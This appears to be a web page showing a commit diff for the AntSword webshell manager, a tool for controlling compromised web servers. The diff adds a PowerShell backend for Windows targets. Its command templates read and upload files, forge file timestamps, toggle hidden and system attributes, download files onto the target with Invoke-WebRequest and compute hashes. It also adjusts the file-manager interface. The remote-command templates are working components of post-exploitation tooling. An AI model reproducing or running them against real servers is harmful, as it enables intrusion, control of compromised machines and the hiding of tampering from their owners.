暂时还没想到好的解决方案, 后期考虑改造 request download 机制来解决编码问题
error eg:
origin: ff d8 ff e0 00 10 4a 46
download: ff 3f 3f 10 4a 46 49 46
*/
_: `[System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes('#{path}'));`.replace(/\n\s+/g, '')
},
upload_file: {
_: `$C=[byte[]] -split ('#{buffer::content}' -replace '..', '0x$& ');
$FS=[System.IO.File]::Open('#{path}',[System.IO.FileMode]::Append);
$FS.Write($C,0,$C.Length);
$FS.Close();
return '1';
`.replace(/\n\s+/g, ''),
},
rename: {
_: `Rename-Item -Force -LiteralPath '#{path}' -NewName '#{name}' -ErrorAction Stop; return '1';`.replace(/\n\s+/g, '')
},
retime: {
_: `$F=(Get-Item -Force '#{path}' -ErrorAction Stop);
$F.CreationTime=('#{time}');
$F.LastAccessTime=('#{time}');
$F.LastWriteTime=('#{time}');
return '1';
`.replace(/\n\s+/g, '')
},
chmod: {
// 这段代码没测试 $F=(Get-Item '#{path}');$F.Mode=('#{mode}');'1'}catch{'0'}
// 以下是 windows 上给文件/目录设置 只读、隐藏、系统 属性
// 在 windows 上也没多大意义, 一般可能会修改 IsReadOnly 和 IsHidden 这两个属性
// https://docs.microsoft.com/en-us/dotnet/api/system.io.fileattributes?view=netcore-1.0
// https://docs.microsoft.com/zh-cn/previous-versions/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-3.0
// darhs
// 是否是目录
// Directory d----
// Archive(File) -a---
// ReadOnly Archive -ar--
// Hidden Archive -a-h-
// System File -a-h-s
_: `
if([System.Environment]::OSVersion.VersionString.ToLower().Contains('windows') -eq $False){
return 'ERROR:// not support';
};
$M='#{mode}'.ToLower();
$P='#{path}';
if($M.Length -ne 5){ return 'ERROR:// File Mode Pattern length not equals 5, eg: -arh-';};
$F=(Get-Item -Force -LiteralPath $P -ErrorAction Stop);
$FM=$F.Mode.ToLower();
if($FM[2] -ne $M[2]){$F.Attributes=$F.Attributes -bxor [System.IO.FileAttributes]::ReadOnly};
if($FM[3] -ne $M[3]){$F.Attributes=$F.Attributes -bxor [System.IO.FileAttributes]::Hidden};
if($FM[4] -ne $M[4]){$F.Attributes=$F.Attributes -bxor [System.IO.FileAttributes]::System};
return '1';
`.replace(/\n\s+/g, '')
},
mkdir: {
_: `New-Item -ItemType Directory -Path '#{path}' -ErrorAction Stop|Out-Null;return '1';`,
},
wget: {
_: `Invoke-WebRequest -ErrorAction Stop -URI '#{url}' -OutFile '#{path}'; return '1';`.replace(/\n\s+/g, '')
},
filehash: {
_: `$ret='';
$Tab=[char]9;
$Line=[char]10;
$hashlist=@('MD5','SHA1');
for($i=0;$i -lt $hashlist.Length; $i++){
$FH=(Get-FileHash -LiteralPath '#{path}' -Algorithm $hashlist[$i] -ErrorAction Stop);
$ret+=$FH.Algorithm+$Tab+$FH.Hash+$Line;
};
return $ret;
`.replace(/\n\s+/g, ''),
},
})
\ No newline at end of file
source/modules/database/pswindows/index.js 0 → 100644
View file @ dc3c1680
This diff is collapsed.
source/modules/filemanager/index.js
View file @ dc3c1680
......@@ -71,7 +71,7 @@ class FileManager {
}).catch((err) => {
this.cell.progressOff();
this.cell.close();
toastr.error((typeof (err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']);
toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']);
});
// this.core.base.info((ret) => {
// this.initUI(ret);
......@@ -501,7 +501,10 @@ class FileManager {
value: antSword.noxss(oldmod),
title: `<i class="fa fa-users"></i> ${LANG['chmod']['title']} (${antSword.noxss(name)})`,
}, (value, i, e) => {
if (!value.match(/^[0-7]{4}$/)) {
if (this.core.constructor.name == "PSWINDOWS" && !value.match(/^(-|d)(-|a)(-|r)(-|h)(-|s)$/)) {
toastr.error("PS FileMode Pattern Error, eg: -arh-", LANG_T['error']);
return
} else if (this.core.constructor.name != "PSWINDOWS" && !value.match(/^[0-7]{4}$/)) {
toastr.error(LANG['chmod']['check'], LANG_T['error']);
return
}
......@@ -562,10 +565,9 @@ class FileManager {
win.setText(`Preview File: ${antSword.noxss(remote_path)}`);
let buff = fs.readFileSync(savepath);
switch (filemime) {
default:
let data = Buffer.from(buff).toString('base64');
win.attachHTMLString(`<img style="width:100%" src="data:/${filemime};base64,${data}"/>`);
break;
default: let data = Buffer.from(buff).toString('base64');
win.attachHTMLString(`<img style="width:100%" src="data:/${filemime};base64,${data}"/>`);
break;
}
fs.unlink(savepath);
} else {
......@@ -652,15 +654,15 @@ class FileManager {
fs.unlinkSync(filePath);
}
self.core.download(filePath, self.core.filemanager.download_file({
path: path
}), (_size) => {
// 计算进度百分比
down_size += _size;
let down_progress = parseInt(parseFloat(down_size / item.size).toFixed(2) * 100);
if (!(down_progress % 5)) {
task.update(down_progress + '%');
};
})
path: path
}), (_size) => {
// 计算进度百分比
down_size += _size;
let down_progress = parseInt(parseFloat(down_size / item.size).toFixed(2) * 100);
if (!(down_progress % 5)) {
task.update(down_progress + '%');
};
})
.then((_size) => {
if (_size === item.size) {
task.success(LANG['download']['task']['success']);
......@@ -946,69 +948,69 @@ class FileManager {
icon: 'code',
type: 'button'
};
(_ === ext) ? _opt['selected'] = true : 0;
(_ === ext) ? _opt['selected'] = true: 0;
_options.push(_opt);
}
toolbar.loadStruct([{
id: 'hinttext',
type: 'text',
text: hinttext
},
{
id: 'filepath',
type: 'buttonInput',
width: 500,
value: antSword.noxss(path),
},
{
type: 'separator'
},
{
type: 'spacer'
},
{
id: 'refresh',
type: 'button',
icon: 'refresh',
text: LANG['editor']['toolbar']['refresh']
},
{
id: 'save',
type: 'button',
icon: 'save',
text: LANG['editor']['toolbar']['save']
},
{
type: 'separator'
},
{
id: 'encode',
type: 'buttonSelect',
icon: 'language',
openAll: true,
text: LANG['editor']['toolbar']['encode'],
options: (() => {
let ret = [];
ENCODES.map((_) => {
let _opt_ = {
id: `encode_${_}`,
text: _,
icon: 'font',
type: 'button'
};
(_ === self.opts['encode'] ? _opt_['selected'] = true : 0);
ret.push(_opt_);
});
return ret;
})()
}, {
id: 'mode',
type: 'buttonSelect',
icon: 'th-list',
openAll: true,
text: LANG['editor']['toolbar']['mode'],
options: _options
},
id: 'hinttext',
type: 'text',
text: hinttext
},
{
id: 'filepath',
type: 'buttonInput',
width: 500,
value: antSword.noxss(path),
},
{
type: 'separator'
},
{
type: 'spacer'
},
{
id: 'refresh',
type: 'button',
icon: 'refresh',
text: LANG['editor']['toolbar']['refresh']
},
{
id: 'save',
type: 'button',
icon: 'save',
text: LANG['editor']['toolbar']['save']
},
{
type: 'separator'
},
{
id: 'encode',
type: 'buttonSelect',
icon: 'language',
openAll: true,
text: LANG['editor']['toolbar']['encode'],
options: (() => {
let ret = [];
ENCODES.map((_) => {
let _opt_ = {
id: `encode_${_}`,
text: _,
icon: 'font',
type: 'button'
};
(_ === self.opts['encode'] ? _opt_['selected'] = true : 0);
ret.push(_opt_);
});
return ret;
})()
}, {
id: 'mode',
type: 'buttonSelect',
icon: 'th-list',
openAll: true,
text: LANG['editor']['toolbar']['mode'],
options: _options
},
]);
toolbar.setItemToolTip('hinttext', tooltip);
toolbar.attachEvent('onClick', (id) => {
......@@ -1141,6 +1143,61 @@ class FileManager {
});
}
// 计算文件 hash
fileHash(name) {
let self = this;
const remote_path = this.path + name;
const win = self.createWin({
title: 'FileHash: ' + antSword.noxss(remote_path),
width: 350,
height: 200,
});
let grid = win.attachGrid();
grid.clearAll();
grid.setHeader(`Algorithm,Hash`);
grid.setColTypes("ro,txt");
grid.setColSorting('str,str');
grid.setColumnMinWidth(50, 200);
grid.setInitWidths("80,*");
grid.setColAlign("center,left");
grid.setEditable(true);
grid.init();
win.progressOn();
self.core.request(
this.core.filemanager.filehash({
path: remote_path,
})
).then((ret) => {
if (ret['text'].indexOf("ERROR://") > -1) {
throw ret["text"];
}
let _data = ret['text'].split('\n');
let data_arr = [];
for (let i = 0; i < _data.length; i++) {
let item = _data[i].split('\t');
if (item.length < 2) {
continue
}
data_arr.push({
id: i + 1,
data: [
antSword.noxss(item[0]),
antSword.noxss(item[1]),
],
});
}
grid.parse({
'rows': data_arr,
}, 'json');
toastr.success(LANG_T['success'], LANG_T['success']);
win.progressOff();
})
.catch((err) => {
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
}
// 创建窗口
createWin(opts) {
let _id = String(Math.random()).substr(5, 10);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment